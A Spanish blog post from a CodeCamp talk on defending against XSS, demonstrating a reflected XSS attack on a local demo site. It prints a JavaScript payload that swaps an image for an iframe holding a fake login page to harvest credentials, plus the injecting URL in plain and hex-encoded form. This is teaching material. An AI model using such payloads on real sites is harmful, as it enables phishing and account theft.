Toda una experiencia el paso por el CodeCamp y una de las sesiones fue mi introducción a las buenas prácticas para defenderse de los
ataques XSS.
Un tema como este es difícil concentrarlo en 60 minutos y se me quedaron muchos ejemplos en el tintero.
Para empezar podéis bajaros la presentación y la web de pruebas que realicé para poder probar las diferentes técnicas XSS en el siguiente link.
![]() |
![]() |
![]() |
Ahora terminaré uno de los ejemplos que me parece muy interesante y no pude realizar por falta del valioso tiempo.
Ejemplo de XSS indirecto para robar la información del usuario:
1.URL vulnerable al ataque:
A la url se le pasa el nombre de la revista y el la foto.
2. La página:
Muestra la información directamente sin validar los datos y es vulnerable a la inyección de código script y HTML.
3. Fichero JS:
Como el ataque que planteamos es bastante elaborado necesitaríamos introducir muchos texto en la url, y por ese motivo
utilizaremos un recurso externo como un fichero JS para realizar el ataque.
onload = function XSS() { ifrm = document.createElement("IFRAME"); ifrm.setAttribute("src", "http://localhost:51001/WebHack/Login.aspx"); ifrm.style.width = 350 + "px"; ifrm.style.height = 300 + "px"; ifrm.frameBorder = "0"; var img = document.getElementById("ctl00_ContentPlaceHolder1_foto") img.parentNode.appendChild(ifrm); img.style.display = "none"; }
Este script modifica el documento atacado “que previamente hemos estudiado” para insertar un iframe el cual utilizará una página intrusa para pedir los
datos al usuario de su cuenta , haciéndole creer que su sesión ha caducado.
4. Url Modificada:
Insertaremos un script en la url para mostrar el iframe en el lugar de la imagen.
ASCII:
…revista.aspx?&revista=Jaque<script src=»http://localhost/WebHack/css/Hack.js»></script>
HEX:
…revista.aspx?&revista=Jaque%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%2F%57%65%62%48%61%63%6B%2F%63%73%73%2F%48%61%63%6B%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E
5. Página con la url atacada:
Espero que la sesión del CodeCamp y el ejemplo hayan sido de vuestro agrado.